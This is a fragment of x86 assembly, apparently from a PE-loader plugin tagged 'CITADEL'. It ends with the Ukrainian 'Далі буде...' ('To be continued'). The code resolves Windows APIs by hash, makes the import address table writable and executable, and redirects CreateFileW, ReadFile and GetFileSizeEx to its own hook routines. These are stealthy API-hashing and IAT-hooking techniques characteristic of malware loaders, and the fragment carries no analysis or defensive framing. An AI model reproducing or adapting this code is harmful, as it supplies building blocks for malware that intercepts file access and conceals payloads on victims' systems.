stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashSetLastError
mov DWord [esi+_SetLastError], eax
stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashGetFileSizeEx
mov DWord [esi+_GetFileSizeEx], eax
stdcall DWord [edi+_LOADPE_DATA.pGetFileHeader], DWord [edi+_LOADPE_DATA.dwImageBase]
add eax, sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.DataDirectory + IMAGE_DIRECTORY_ENTRY_IAT*0x8
cmp DWord [eax], 0x0
jz .end
mov edx, DWord [eax]
add edx, [edi+_LOADPE_DATA.dwImageBase]
mov DWord [esi+pIAT], edx
push DWord [eax+0x4]
pop DWord [esi+dwIATsize]
lea eax, [esi+dwOldProtect]
stdcall DWord [edi+_LOADPE_DATA.pVirtualProtect], DWord [esi+pIAT], DWord [esi+dwIATsize], PAGE_EXECUTE_READWRITE, eax
stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_CreateFileW]
jc .end
mov DWord [esi+pIAT_CreateFileW], eax
lea edx, [esi+CreateFileW_Hook]
mov DWord [eax], edx
stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_ReadFile]
jc .end
mov DWord [esi+pIAT_ReadFile], eax
lea edx, [esi+ReadFile_Hook]
mov DWord [eax], edx
stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_GetFileSizeEx]
jc .end
mov DWord [esi+pIAT_GetFileSizeEx], eax
lea edx, [esi+GetFileSizeEx_Hook]
mov DWord [eax], edx
.end:
jmp DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
__3BIP_PLUGIN_TAIL__ 'CITADEL'
Далі буде...